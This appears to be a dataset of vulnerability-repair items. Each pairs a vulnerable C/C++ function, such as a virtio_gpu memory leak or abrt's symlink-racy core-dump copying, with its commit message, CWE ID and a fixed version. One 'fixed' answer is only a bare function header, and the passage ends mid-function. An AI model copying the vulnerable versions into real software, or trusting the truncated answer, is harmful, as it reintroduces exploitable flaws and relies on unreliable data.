instruction
stringclasses
1 value
input
stringlengths
90
139k
output
stringlengths
16
138k
__index_level_0__
int64
165k
175k
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: int virtio_gpu_object_create(struct virtio_gpu_device *vgdev, unsigned long size, bool kernel, bool pinned, struct virtio_gpu_object **bo_ptr) { struct virtio_gpu_object *bo; enum ttm_bo_type type; size_t acc_size; int ret; if (kernel) type = ttm_bo_type_kernel; else type = ttm_bo_type_device; *bo_ptr = NULL; acc_size = ttm_bo_dma_acc_size(&vgdev->mman.bdev, size, sizeof(struct virtio_gpu_object)); bo = kzalloc(sizeof(struct virtio_gpu_object), GFP_KERNEL); if (bo == NULL) return -ENOMEM; size = roundup(size, PAGE_SIZE); ret = drm_gem_object_init(vgdev->ddev, &bo->gem_base, size); if (ret != 0) return ret; bo->dumb = false; virtio_gpu_init_ttm_placement(bo, pinned); ret = ttm_bo_init(&vgdev->mman.bdev, &bo->tbo, size, type, &bo->placement, 0, !kernel, NULL, acc_size, NULL, NULL, &virtio_gpu_ttm_bo_destroy); /* ttm_bo_init failure will call the destroy */ if (ret != 0) return ret; *bo_ptr = bo; return 0; } Commit Message: drm/virtio: don't leak bo on drm_gem_object_init failure Reported-by: 李强 <[email protected]> Signed-off-by: Gerd Hoffmann <[email protected]> Link: http://patchwork.freedesktop.org/patch/msgid/[email protected] CWE ID: CWE-772
int virtio_gpu_object_create(struct virtio_gpu_device *vgdev, unsigned long size, bool kernel, bool pinned, struct virtio_gpu_object **bo_ptr) { struct virtio_gpu_object *bo; enum ttm_bo_type type; size_t acc_size; int ret; if (kernel) type = ttm_bo_type_kernel; else type = ttm_bo_type_device; *bo_ptr = NULL; acc_size = ttm_bo_dma_acc_size(&vgdev->mman.bdev, size, sizeof(struct virtio_gpu_object)); bo = kzalloc(sizeof(struct virtio_gpu_object), GFP_KERNEL); if (bo == NULL) return -ENOMEM; size = roundup(size, PAGE_SIZE); ret = drm_gem_object_init(vgdev->ddev, &bo->gem_base, size); if (ret != 0) { kfree(bo); return ret; } bo->dumb = false; virtio_gpu_init_ttm_placement(bo, pinned); ret = ttm_bo_init(&vgdev->mman.bdev, &bo->tbo, size, type, &bo->placement, 0, !kernel, NULL, acc_size, NULL, NULL, &virtio_gpu_ttm_bo_destroy); /* ttm_bo_init failure will call the destroy */ if (ret != 0) return ret; *bo_ptr = bo; return 0; }
168,060
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: void FocusIn(const char* input_context_path) { if (!input_context_path) { LOG(ERROR) << "NULL context passed"; } else { DLOG(INFO) << "FocusIn: " << input_context_path; } input_context_path_ = Or(input_context_path, ""); } Commit Message: Remove use of libcros from InputMethodLibrary. BUG=chromium-os:16238 TEST==confirm that input methods work as before on the netbook. Also confirm that the chrome builds and works on the desktop as before. Review URL: http://codereview.chromium.org/7003086 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@89142 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-399
void FocusIn(const char* input_context_path) {
170,532
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: void Document::finishedParsing() { ASSERT(!scriptableDocumentParser() || !m_parser->isParsing()); ASSERT(!scriptableDocumentParser() || m_readyState != Loading); setParsingState(InDOMContentLoaded); if (!m_documentTiming.domContentLoadedEventStart()) m_documentTiming.setDomContentLoadedEventStart(monotonicallyIncreasingTime()); dispatchEvent(Event::createBubble(EventTypeNames::DOMContentLoaded)); if (!m_documentTiming.domContentLoadedEventEnd()) m_documentTiming.setDomContentLoadedEventEnd(monotonicallyIncreasingTime()); setParsingState(FinishedParsing); RefPtrWillBeRawPtr<Document> protect(this); Microtask::performCheckpoint(); if (RefPtrWillBeRawPtr<LocalFrame> frame = this->frame()) { const bool mainResourceWasAlreadyRequested = frame->loader().stateMachine()->committedFirstRealDocumentLoad(); if (mainResourceWasAlreadyRequested) updateLayoutTreeIfNeeded(); frame->loader().finishedParsing(); TRACE_EVENT_INSTANT1(TRACE_DISABLED_BY_DEFAULT("devtools.timeline"), "MarkDOMContent", TRACE_EVENT_SCOPE_THREAD, "data", InspectorMarkLoadEvent::data(frame.get())); InspectorInstrumentation::domContentLoadedEventFired(frame.get()); } m_elementDataCacheClearTimer.startOneShot(10, FROM_HERE); m_fetcher->clearPreloads(); } Commit Message: Correctly keep track of isolates for microtask execution BUG=487155 [email protected] Review URL: https://codereview.chromium.org/1161823002 git-svn-id: svn://svn.chromium.org/blink/trunk@195985 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-254
void Document::finishedParsing() { ASSERT(!scriptableDocumentParser() || !m_parser->isParsing()); ASSERT(!scriptableDocumentParser() || m_readyState != Loading); setParsingState(InDOMContentLoaded); if (!m_documentTiming.domContentLoadedEventStart()) m_documentTiming.setDomContentLoadedEventStart(monotonicallyIncreasingTime()); dispatchEvent(Event::createBubble(EventTypeNames::DOMContentLoaded)); if (!m_documentTiming.domContentLoadedEventEnd()) m_documentTiming.setDomContentLoadedEventEnd(monotonicallyIncreasingTime()); setParsingState(FinishedParsing); RefPtrWillBeRawPtr<Document> protect(this); Microtask::performCheckpoint(V8PerIsolateData::mainThreadIsolate()); if (RefPtrWillBeRawPtr<LocalFrame> frame = this->frame()) { const bool mainResourceWasAlreadyRequested = frame->loader().stateMachine()->committedFirstRealDocumentLoad(); if (mainResourceWasAlreadyRequested) updateLayoutTreeIfNeeded(); frame->loader().finishedParsing(); TRACE_EVENT_INSTANT1(TRACE_DISABLED_BY_DEFAULT("devtools.timeline"), "MarkDOMContent", TRACE_EVENT_SCOPE_THREAD, "data", InspectorMarkLoadEvent::data(frame.get())); InspectorInstrumentation::domContentLoadedEventFired(frame.get()); } m_elementDataCacheClearTimer.startOneShot(10, FROM_HERE); m_fetcher->clearPreloads(); }
171,944
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: int main(int argc, char** argv) { /* Kernel starts us with all fd's closed. * But it's dangerous: * fprintf(stderr) can dump messages into random fds, etc. * Ensure that if any of fd 0,1,2 is closed, we open it to /dev/null. */ int fd = xopen("/dev/null", O_RDWR); while (fd < 2) fd = xdup(fd); if (fd > 2) close(fd); if (argc < 8) { /* percent specifier: %s %c %p %u %g %t %e %h */ /* argv: [0] [1] [2] [3] [4] [5] [6] [7] [8]*/ error_msg_and_die("Usage: %s SIGNO CORE_SIZE_LIMIT PID UID GID TIME BINARY_NAME [HOSTNAME]", argv[0]); } /* Not needed on 2.6.30. * At least 2.6.18 has a bug where * argv[1] = "SIGNO CORE_SIZE_LIMIT PID ..." * argv[2] = "CORE_SIZE_LIMIT PID ..." * and so on. Fixing it: */ if (strchr(argv[1], ' ')) { int i; for (i = 1; argv[i]; i++) { strchrnul(argv[i], ' ')[0] = '\0'; } } logmode = LOGMODE_JOURNAL; /* Parse abrt.conf */ load_abrt_conf(); /* ... and plugins/CCpp.conf */ bool setting_MakeCompatCore; bool setting_SaveBinaryImage; { map_string_t *settings = new_map_string(); load_abrt_plugin_conf_file("CCpp.conf", settings); const char *value; value = get_map_string_item_or_NULL(settings, "MakeCompatCore"); setting_MakeCompatCore = value && string_to_bool(value); value = get_map_string_item_or_NULL(settings, "SaveBinaryImage"); setting_SaveBinaryImage = value && string_to_bool(value); value = get_map_string_item_or_NULL(settings, "VerboseLog"); if (value) g_verbose = xatoi_positive(value); free_map_string(settings); } errno = 0; const char* signal_str = argv[1]; int signal_no = xatoi_positive(signal_str); off_t ulimit_c = strtoull(argv[2], NULL, 10); if (ulimit_c < 0) /* unlimited? */ { /* set to max possible >0 value */ ulimit_c = ~((off_t)1 << (sizeof(off_t)*8-1)); } const char *pid_str = argv[3]; pid_t pid = xatoi_positive(argv[3]); uid_t uid = xatoi_positive(argv[4]); if (errno || pid <= 0) { perror_msg_and_die("PID '%s' or limit '%s' is bogus", argv[3], argv[2]); } { char *s = xmalloc_fopen_fgetline_fclose(VAR_RUN"/abrt/saved_core_pattern"); /* If we have a saved pattern and it's not a "|PROG ARGS" thing... */ if (s && s[0] != '|') core_basename = s; else free(s); } struct utsname uts; if (!argv[8]) /* no HOSTNAME? */ { uname(&uts); argv[8] = uts.nodename; } char path[PATH_MAX]; int src_fd_binary = -1; char *executable = get_executable(pid, setting_SaveBinaryImage ? &src_fd_binary : NULL); if (executable && strstr(executable, "/abrt-hook-ccpp")) { error_msg_and_die("PID %lu is '%s', not dumping it to avoid recursion", (long)pid, executable); } user_pwd = get_cwd(pid); /* may be NULL on error */ log_notice("user_pwd:'%s'", user_pwd); sprintf(path, "/proc/%lu/status", (long)pid); proc_pid_status = xmalloc_xopen_read_close(path, /*maxsz:*/ NULL); uid_t fsuid = uid; uid_t tmp_fsuid = get_fsuid(); int suid_policy = dump_suid_policy(); if (tmp_fsuid != uid) { /* use root for suided apps unless it's explicitly set to UNSAFE */ fsuid = 0; if (suid_policy == DUMP_SUID_UNSAFE) { fsuid = tmp_fsuid; } } /* Open a fd to compat coredump, if requested and is possible */ if (setting_MakeCompatCore && ulimit_c != 0) /* note: checks "user_pwd == NULL" inside; updates core_basename */ user_core_fd = open_user_core(uid, fsuid, pid, &argv[1]); if (executable == NULL) { /* readlink on /proc/$PID/exe failed, don't create abrt dump dir */ error_msg("Can't read /proc/%lu/exe link", (long)pid); goto create_user_core; } const char *signame = NULL; switch (signal_no) { case SIGILL : signame = "ILL" ; break; case SIGFPE : signame = "FPE" ; break; case SIGSEGV: signame = "SEGV"; break; case SIGBUS : signame = "BUS" ; break; //Bus error (bad memory access) case SIGABRT: signame = "ABRT"; break; //usually when abort() was called case SIGTRAP: signame = "TRAP"; break; //Trace/breakpoint trap default: goto create_user_core; // not a signal we care about } if (!daemon_is_ok()) { /* not an error, exit with exit code 0 */ log("abrtd is not running. If it crashed, " "/proc/sys/kernel/core_pattern contains a stale value, " "consider resetting it to 'core'" ); goto create_user_core; } if (g_settings_nMaxCrashReportsSize > 0) { /* If free space is less than 1/4 of MaxCrashReportsSize... */ if (low_free_space(g_settings_nMaxCrashReportsSize, g_settings_dump_location)) goto create_user_core; } /* Check /var/tmp/abrt/last-ccpp marker, do not dump repeated crashes * if they happen too often. Else, write new marker value. */ snprintf(path, sizeof(path), "%s/last-ccpp", g_settings_dump_location); if (check_recent_crash_file(path, executable)) { /* It is a repeating crash */ goto create_user_core; } const char *last_slash = strrchr(executable, '/'); if (last_slash && strncmp(++last_slash, "abrt", 4) == 0) { /* If abrtd/abrt-foo crashes, we don't want to create a _directory_, * since that can make new copy of abrtd to process it, * and maybe crash again... * Unlike dirs, mere files are ignored by abrtd. */ snprintf(path, sizeof(path), "%s/%s-coredump", g_settings_dump_location, last_slash); int abrt_core_fd = xopen3(path, O_WRONLY | O_CREAT | O_TRUNC, 0600); off_t core_size = copyfd_eof(STDIN_FILENO, abrt_core_fd, COPYFD_SPARSE); if (core_size < 0 || fsync(abrt_core_fd) != 0) { unlink(path); /* copyfd_eof logs the error including errno string, * but it does not log file name */ error_msg_and_die("Error saving '%s'", path); } log("Saved core dump of pid %lu (%s) to %s (%llu bytes)", (long)pid, executable, path, (long long)core_size); return 0; } unsigned path_len = snprintf(path, sizeof(path), "%s/ccpp-%s-%lu.new", g_settings_dump_location, iso_date_string(NULL), (long)pid); if (path_len >= (sizeof(path) - sizeof("/"FILENAME_COREDUMP))) { goto create_user_core; } /* use fsuid instead of uid, so we don't expose any sensitive * information of suided app in /var/tmp/abrt */ dd = dd_create(path, fsuid, DEFAULT_DUMP_DIR_MODE); if (dd) { char *rootdir = get_rootdir(pid); dd_create_basic_files(dd, fsuid, (rootdir && strcmp(rootdir, "/") != 0) ? rootdir : NULL); char source_filename[sizeof("/proc/%lu/somewhat_long_name") + sizeof(long)*3]; int source_base_ofs = sprintf(source_filename, "/proc/%lu/smaps", (long)pid); source_base_ofs -= strlen("smaps"); char *dest_filename = concat_path_file(dd->dd_dirname, "also_somewhat_longish_name"); char *dest_base = strrchr(dest_filename, '/') + 1; strcpy(source_filename + source_base_ofs, "maps"); strcpy(dest_base, FILENAME_MAPS); copy_file(source_filename, dest_filename, DEFAULT_DUMP_DIR_MODE); IGNORE_RESULT(chown(dest_filename, dd->dd_uid, dd->dd_gid)); strcpy(source_filename + source_base_ofs, "limits"); strcpy(dest_base, FILENAME_LIMITS); copy_file(source_filename, dest_filename, DEFAULT_DUMP_DIR_MODE); IGNORE_RESULT(chown(dest_filename, dd->dd_uid, dd->dd_gid)); strcpy(source_filename + source_base_ofs, "cgroup"); strcpy(dest_base, FILENAME_CGROUP); copy_file(source_filename, dest_filename, DEFAULT_DUMP_DIR_MODE); IGNORE_RESULT(chown(dest_filename, dd->dd_uid, dd->dd_gid)); strcpy(dest_base, FILENAME_OPEN_FDS); if (dump_fd_info(dest_filename, source_filename, source_base_ofs)) IGNORE_RESULT(chown(dest_filename, dd->dd_uid, dd->dd_gid)); free(dest_filename); dd_save_text(dd, FILENAME_ANALYZER, "CCpp"); dd_save_text(dd, FILENAME_TYPE, "CCpp"); dd_save_text(dd, FILENAME_EXECUTABLE, executable); dd_save_text(dd, FILENAME_PID, pid_str); dd_save_text(dd, FILENAME_PROC_PID_STATUS, proc_pid_status); if (user_pwd) dd_save_text(dd, FILENAME_PWD, user_pwd); if (rootdir) { if (strcmp(rootdir, "/") != 0) dd_save_text(dd, FILENAME_ROOTDIR, rootdir); } char *reason = xasprintf("%s killed by SIG%s", last_slash, signame ? signame : signal_str); dd_save_text(dd, FILENAME_REASON, reason); free(reason); char *cmdline = get_cmdline(pid); dd_save_text(dd, FILENAME_CMDLINE, cmdline ? : ""); free(cmdline); char *environ = get_environ(pid); dd_save_text(dd, FILENAME_ENVIRON, environ ? : ""); free(environ); char *fips_enabled = xmalloc_fopen_fgetline_fclose("/proc/sys/crypto/fips_enabled"); if (fips_enabled) { if (strcmp(fips_enabled, "0") != 0) dd_save_text(dd, "fips_enabled", fips_enabled); free(fips_enabled); } dd_save_text(dd, FILENAME_ABRT_VERSION, VERSION); if (src_fd_binary > 0) { strcpy(path + path_len, "/"FILENAME_BINARY); int dst_fd = create_or_die(path); off_t sz = copyfd_eof(src_fd_binary, dst_fd, COPYFD_SPARSE); if (fsync(dst_fd) != 0 || close(dst_fd) != 0 || sz < 0) { dd_delete(dd); error_msg_and_die("Error saving '%s'", path); } close(src_fd_binary); } strcpy(path + path_len, "/"FILENAME_COREDUMP); int abrt_core_fd = create_or_die(path); /* We write both coredumps at once. * We can't write user coredump first, since it might be truncated * and thus can't be copied and used as abrt coredump; * and if we write abrt coredump first and then copy it as user one, * then we have a race when process exits but coredump does not exist yet: * $ echo -e '#include<signal.h>\nmain(){raise(SIGSEGV);}' | gcc -o test -x c - * $ rm -f core*; ulimit -c unlimited; ./test; ls -l core* * 21631 Segmentation fault (core dumped) ./test * ls: cannot access core*: No such file or directory <=== BAD */ off_t core_size = copyfd_sparse(STDIN_FILENO, abrt_core_fd, user_core_fd, ulimit_c); if (fsync(abrt_core_fd) != 0 || close(abrt_core_fd) != 0 || core_size < 0) { unlink(path); dd_delete(dd); if (user_core_fd >= 0) { xchdir(user_pwd); unlink(core_basename); } /* copyfd_sparse logs the error including errno string, * but it does not log file name */ error_msg_and_die("Error writing '%s'", path); } if (user_core_fd >= 0 /* error writing user coredump? */ && (fsync(user_core_fd) != 0 || close(user_core_fd) != 0 /* user coredump is too big? */ || (ulimit_c == 0 /* paranoia */ || core_size > ulimit_c) ) ) { /* nuke it (silently) */ xchdir(user_pwd); unlink(core_basename); } /* Save JVM crash log if it exists. (JVM's coredump per se * is nearly useless for JVM developers) */ { char *java_log = xasprintf("/tmp/jvm-%lu/hs_error.log", (long)pid); int src_fd = open(java_log, O_RDONLY); free(java_log); /* If we couldn't open the error log in /tmp directory we can try to * read the log from the current directory. It may produce AVC, it * may produce some error log but all these are expected. */ if (src_fd < 0) { java_log = xasprintf("%s/hs_err_pid%lu.log", user_pwd, (long)pid); src_fd = open(java_log, O_RDONLY); free(java_log); } if (src_fd >= 0) { strcpy(path + path_len, "/hs_err.log"); int dst_fd = create_or_die(path); off_t sz = copyfd_eof(src_fd, dst_fd, COPYFD_SPARSE); if (close(dst_fd) != 0 || sz < 0) { dd_delete(dd); error_msg_and_die("Error saving '%s'", path); } close(src_fd); } } /* We close dumpdir before we start catering for crash storm case. * Otherwise, delete_dump_dir's from other concurrent * CCpp's won't be able to delete our dump (their delete_dump_dir * will wait for us), and we won't be able to delete their dumps. * Classic deadlock. */ dd_close(dd); path[path_len] = '\0'; /* path now contains only directory name */ char *newpath = xstrndup(path, path_len - (sizeof(".new")-1)); if (rename(path, newpath) == 0) strcpy(path, newpath); free(newpath); log("Saved core dump of pid %lu (%s) to %s (%llu bytes)", (long)pid, executable, path, (long long)core_size); notify_new_path(path); /* rhbz#539551: "abrt going crazy when crashing process is respawned" */ if (g_settings_nMaxCrashReportsSize > 0) { /* x1.25 and round up to 64m: go a bit up, so that usual in-daemon trimming * kicks in first, and we don't "fight" with it: */ unsigned maxsize = g_settings_nMaxCrashReportsSize + g_settings_nMaxCrashReportsSize / 4; maxsize |= 63; trim_problem_dirs(g_settings_dump_location, maxsize * (double)(1024*1024), path); } free(rootdir); return 0; } /* We didn't create abrt dump, but may need to create compat coredump */ create_user_core: if (user_core_fd >= 0) { off_t core_size = copyfd_size(STDIN_FILENO, user_core_fd, ulimit_c, COPYFD_SPARSE); if (fsync(user_core_fd) != 0 || close(user_core_fd) != 0 || core_size < 0) { /* perror first, otherwise unlink may trash errno */ perror_msg("Error writing '%s'", full_core_basename); xchdir(user_pwd); unlink(core_basename); return 1; } if (ulimit_c == 0 || core_size > ulimit_c) { xchdir(user_pwd); unlink(core_basename); return 1; } log("Saved core dump of pid %lu to %s (%llu bytes)", (long)pid, full_core_basename, (long long)core_size); } return 0; } Commit Message: ccpp: fix symlink race conditions Fix copy & chown race conditions Related: #1211835 Signed-off-by: Jakub Filak <[email protected]> CWE ID: CWE-59
int main(int argc, char** argv) { /* Kernel starts us with all fd's closed. * But it's dangerous: * fprintf(stderr) can dump messages into random fds, etc. * Ensure that if any of fd 0,1,2 is closed, we open it to /dev/null. */ int fd = xopen("/dev/null", O_RDWR); while (fd < 2) fd = xdup(fd); if (fd > 2) close(fd); if (argc < 8) { /* percent specifier: %s %c %p %u %g %t %e %h */ /* argv: [0] [1] [2] [3] [4] [5] [6] [7] [8]*/ error_msg_and_die("Usage: %s SIGNO CORE_SIZE_LIMIT PID UID GID TIME BINARY_NAME [HOSTNAME]", argv[0]); } /* Not needed on 2.6.30. * At least 2.6.18 has a bug where * argv[1] = "SIGNO CORE_SIZE_LIMIT PID ..." * argv[2] = "CORE_SIZE_LIMIT PID ..." * and so on. Fixing it: */ if (strchr(argv[1], ' ')) { int i; for (i = 1; argv[i]; i++) { strchrnul(argv[i], ' ')[0] = '\0'; } } logmode = LOGMODE_JOURNAL; /* Parse abrt.conf */ load_abrt_conf(); /* ... and plugins/CCpp.conf */ bool setting_MakeCompatCore; bool setting_SaveBinaryImage; { map_string_t *settings = new_map_string(); load_abrt_plugin_conf_file("CCpp.conf", settings); const char *value; value = get_map_string_item_or_NULL(settings, "MakeCompatCore"); setting_MakeCompatCore = value && string_to_bool(value); value = get_map_string_item_or_NULL(settings, "SaveBinaryImage"); setting_SaveBinaryImage = value && string_to_bool(value); value = get_map_string_item_or_NULL(settings, "VerboseLog"); if (value) g_verbose = xatoi_positive(value); free_map_string(settings); } errno = 0; const char* signal_str = argv[1]; int signal_no = xatoi_positive(signal_str); off_t ulimit_c = strtoull(argv[2], NULL, 10); if (ulimit_c < 0) /* unlimited? */ { /* set to max possible >0 value */ ulimit_c = ~((off_t)1 << (sizeof(off_t)*8-1)); } const char *pid_str = argv[3]; pid_t pid = xatoi_positive(argv[3]); uid_t uid = xatoi_positive(argv[4]); if (errno || pid <= 0) { perror_msg_and_die("PID '%s' or limit '%s' is bogus", argv[3], argv[2]); } { char *s = xmalloc_fopen_fgetline_fclose(VAR_RUN"/abrt/saved_core_pattern"); /* If we have a saved pattern and it's not a "|PROG ARGS" thing... */ if (s && s[0] != '|') core_basename = s; else free(s); } struct utsname uts; if (!argv[8]) /* no HOSTNAME? */ { uname(&uts); argv[8] = uts.nodename; } char path[PATH_MAX]; int src_fd_binary = -1; char *executable = get_executable(pid, setting_SaveBinaryImage ? &src_fd_binary : NULL); if (executable && strstr(executable, "/abrt-hook-ccpp")) { error_msg_and_die("PID %lu is '%s', not dumping it to avoid recursion", (long)pid, executable); } user_pwd = get_cwd(pid); /* may be NULL on error */ log_notice("user_pwd:'%s'", user_pwd); sprintf(path, "/proc/%lu/status", (long)pid); proc_pid_status = xmalloc_xopen_read_close(path, /*maxsz:*/ NULL); uid_t fsuid = uid; uid_t tmp_fsuid = get_fsuid(); int suid_policy = dump_suid_policy(); if (tmp_fsuid != uid) { /* use root for suided apps unless it's explicitly set to UNSAFE */ fsuid = 0; if (suid_policy == DUMP_SUID_UNSAFE) { fsuid = tmp_fsuid; } } /* Open a fd to compat coredump, if requested and is possible */ if (setting_MakeCompatCore && ulimit_c != 0) /* note: checks "user_pwd == NULL" inside; updates core_basename */ user_core_fd = open_user_core(uid, fsuid, pid, &argv[1]); if (executable == NULL) { /* readlink on /proc/$PID/exe failed, don't create abrt dump dir */ error_msg("Can't read /proc/%lu/exe link", (long)pid); goto create_user_core; } const char *signame = NULL; switch (signal_no) { case SIGILL : signame = "ILL" ; break; case SIGFPE : signame = "FPE" ; break; case SIGSEGV: signame = "SEGV"; break; case SIGBUS : signame = "BUS" ; break; //Bus error (bad memory access) case SIGABRT: signame = "ABRT"; break; //usually when abort() was called case SIGTRAP: signame = "TRAP"; break; //Trace/breakpoint trap default: goto create_user_core; // not a signal we care about } if (!daemon_is_ok()) { /* not an error, exit with exit code 0 */ log("abrtd is not running. If it crashed, " "/proc/sys/kernel/core_pattern contains a stale value, " "consider resetting it to 'core'" ); goto create_user_core; } if (g_settings_nMaxCrashReportsSize > 0) { /* If free space is less than 1/4 of MaxCrashReportsSize... */ if (low_free_space(g_settings_nMaxCrashReportsSize, g_settings_dump_location)) goto create_user_core; } /* Check /var/tmp/abrt/last-ccpp marker, do not dump repeated crashes * if they happen too often. Else, write new marker value. */ snprintf(path, sizeof(path), "%s/last-ccpp", g_settings_dump_location); if (check_recent_crash_file(path, executable)) { /* It is a repeating crash */ goto create_user_core; } const char *last_slash = strrchr(executable, '/'); if (last_slash && strncmp(++last_slash, "abrt", 4) == 0) { /* If abrtd/abrt-foo crashes, we don't want to create a _directory_, * since that can make new copy of abrtd to process it, * and maybe crash again... * Unlike dirs, mere files are ignored by abrtd. */ snprintf(path, sizeof(path), "%s/%s-coredump", g_settings_dump_location, last_slash); int abrt_core_fd = xopen3(path, O_WRONLY | O_CREAT | O_TRUNC, 0600); off_t core_size = copyfd_eof(STDIN_FILENO, abrt_core_fd, COPYFD_SPARSE); if (core_size < 0 || fsync(abrt_core_fd) != 0) { unlink(path); /* copyfd_eof logs the error including errno string, * but it does not log file name */ error_msg_and_die("Error saving '%s'", path); } log("Saved core dump of pid %lu (%s) to %s (%llu bytes)", (long)pid, executable, path, (long long)core_size); return 0; } unsigned path_len = snprintf(path, sizeof(path), "%s/ccpp-%s-%lu.new", g_settings_dump_location, iso_date_string(NULL), (long)pid); if (path_len >= (sizeof(path) - sizeof("/"FILENAME_COREDUMP))) { goto create_user_core; } /* use fsuid instead of uid, so we don't expose any sensitive * information of suided app in /var/tmp/abrt */ dd = dd_create(path, fsuid, DEFAULT_DUMP_DIR_MODE); if (dd) { char *rootdir = get_rootdir(pid); dd_create_basic_files(dd, fsuid, (rootdir && strcmp(rootdir, "/") != 0) ? rootdir : NULL); char source_filename[sizeof("/proc/%lu/somewhat_long_name") + sizeof(long)*3]; int source_base_ofs = sprintf(source_filename, "/proc/%lu/smaps", (long)pid); source_base_ofs -= strlen("smaps"); char *dest_filename = concat_path_file(dd->dd_dirname, "also_somewhat_longish_name"); char *dest_base = strrchr(dest_filename, '/') + 1; //copy_file_ext(source_filename, dest_filename, 0640, dd->dd_uid, dd->dd_gid, O_RDONLY, O_WRONLY | O_CREAT | O_TRUNC | O_EXCL); strcpy(source_filename + source_base_ofs, "maps"); strcpy(dest_base, FILENAME_MAPS); copy_file_ext(source_filename, dest_filename, 0640, dd->dd_uid, dd->dd_gid, O_RDONLY, O_WRONLY | O_CREAT | O_TRUNC | O_EXCL); strcpy(source_filename + source_base_ofs, "limits"); strcpy(dest_base, FILENAME_LIMITS); copy_file_ext(source_filename, dest_filename, 0640, dd->dd_uid, dd->dd_gid, O_RDONLY, O_WRONLY | O_CREAT | O_TRUNC | O_EXCL); strcpy(source_filename + source_base_ofs, "cgroup"); strcpy(dest_base, FILENAME_CGROUP); copy_file_ext(source_filename, dest_filename, 0640, dd->dd_uid, dd->dd_gid, O_RDONLY, O_WRONLY | O_CREAT | O_TRUNC | O_EXCL); strcpy(dest_base, FILENAME_OPEN_FDS); dump_fd_info(dest_filename, source_filename, source_base_ofs, dd->dd_uid, dd->dd_gid); free(dest_filename); dd_save_text(dd, FILENAME_ANALYZER, "CCpp"); dd_save_text(dd, FILENAME_TYPE, "CCpp"); dd_save_text(dd, FILENAME_EXECUTABLE, executable); dd_save_text(dd, FILENAME_PID, pid_str); dd_save_text(dd, FILENAME_PROC_PID_STATUS, proc_pid_status); if (user_pwd) dd_save_text(dd, FILENAME_PWD, user_pwd); if (rootdir) { if (strcmp(rootdir, "/") != 0) dd_save_text(dd, FILENAME_ROOTDIR, rootdir); } char *reason = xasprintf("%s killed by SIG%s", last_slash, signame ? signame : signal_str); dd_save_text(dd, FILENAME_REASON, reason); free(reason); char *cmdline = get_cmdline(pid); dd_save_text(dd, FILENAME_CMDLINE, cmdline ? : ""); free(cmdline); char *environ = get_environ(pid); dd_save_text(dd, FILENAME_ENVIRON, environ ? : ""); free(environ); char *fips_enabled = xmalloc_fopen_fgetline_fclose("/proc/sys/crypto/fips_enabled"); if (fips_enabled) { if (strcmp(fips_enabled, "0") != 0) dd_save_text(dd, "fips_enabled", fips_enabled); free(fips_enabled); } dd_save_text(dd, FILENAME_ABRT_VERSION, VERSION); if (src_fd_binary > 0) { strcpy(path + path_len, "/"FILENAME_BINARY); int dst_fd = create_or_die(path); off_t sz = copyfd_eof(src_fd_binary, dst_fd, COPYFD_SPARSE); if (fsync(dst_fd) != 0 || close(dst_fd) != 0 || sz < 0) { dd_delete(dd); error_msg_and_die("Error saving '%s'", path); } close(src_fd_binary); } strcpy(path + path_len, "/"FILENAME_COREDUMP); int abrt_core_fd = create_or_die(path); /* We write both coredumps at once. * We can't write user coredump first, since it might be truncated * and thus can't be copied and used as abrt coredump; * and if we write abrt coredump first and then copy it as user one, * then we have a race when process exits but coredump does not exist yet: * $ echo -e '#include<signal.h>\nmain(){raise(SIGSEGV);}' | gcc -o test -x c - * $ rm -f core*; ulimit -c unlimited; ./test; ls -l core* * 21631 Segmentation fault (core dumped) ./test * ls: cannot access core*: No such file or directory <=== BAD */ off_t core_size = copyfd_sparse(STDIN_FILENO, abrt_core_fd, user_core_fd, ulimit_c); if (fsync(abrt_core_fd) != 0 || close(abrt_core_fd) != 0 || core_size < 0) { unlink(path); dd_delete(dd); if (user_core_fd >= 0) { xchdir(user_pwd); unlink(core_basename); } /* copyfd_sparse logs the error including errno string, * but it does not log file name */ error_msg_and_die("Error writing '%s'", path); } if (user_core_fd >= 0 /* error writing user coredump? */ && (fsync(user_core_fd) != 0 || close(user_core_fd) != 0 /* user coredump is too big? */ || (ulimit_c == 0 /* paranoia */ || core_size > ulimit_c) ) ) { /* nuke it (silently) */ xchdir(user_pwd); unlink(core_basename); } /* Save JVM crash log if it exists. (JVM's coredump per se * is nearly useless for JVM developers) */ { char *java_log = xasprintf("/tmp/jvm-%lu/hs_error.log", (long)pid); int src_fd = open(java_log, O_RDONLY); free(java_log); /* If we couldn't open the error log in /tmp directory we can try to * read the log from the current directory. It may produce AVC, it * may produce some error log but all these are expected. */ if (src_fd < 0) { java_log = xasprintf("%s/hs_err_pid%lu.log", user_pwd, (long)pid); src_fd = open(java_log, O_RDONLY); free(java_log); } if (src_fd >= 0) { strcpy(path + path_len, "/hs_err.log"); int dst_fd = create_or_die(path); off_t sz = copyfd_eof(src_fd, dst_fd, COPYFD_SPARSE); if (close(dst_fd) != 0 || sz < 0) { dd_delete(dd); error_msg_and_die("Error saving '%s'", path); } close(src_fd); } } /* We close dumpdir before we start catering for crash storm case. * Otherwise, delete_dump_dir's from other concurrent * CCpp's won't be able to delete our dump (their delete_dump_dir * will wait for us), and we won't be able to delete their dumps. * Classic deadlock. */ dd_close(dd); path[path_len] = '\0'; /* path now contains only directory name */ char *newpath = xstrndup(path, path_len - (sizeof(".new")-1)); if (rename(path, newpath) == 0) strcpy(path, newpath); free(newpath); log("Saved core dump of pid %lu (%s) to %s (%llu bytes)", (long)pid, executable, path, (long long)core_size); notify_new_path(path); /* rhbz#539551: "abrt going crazy when crashing process is respawned" */ if (g_settings_nMaxCrashReportsSize > 0) { /* x1.25 and round up to 64m: go a bit up, so that usual in-daemon trimming * kicks in first, and we don't "fight" with it: */ unsigned maxsize = g_settings_nMaxCrashReportsSize + g_settings_nMaxCrashReportsSize / 4; maxsize |= 63; trim_problem_dirs(g_settings_dump_location, maxsize * (double)(1024*1024), path); } free(rootdir); return 0; } /* We didn't create abrt dump, but may need to create compat coredump 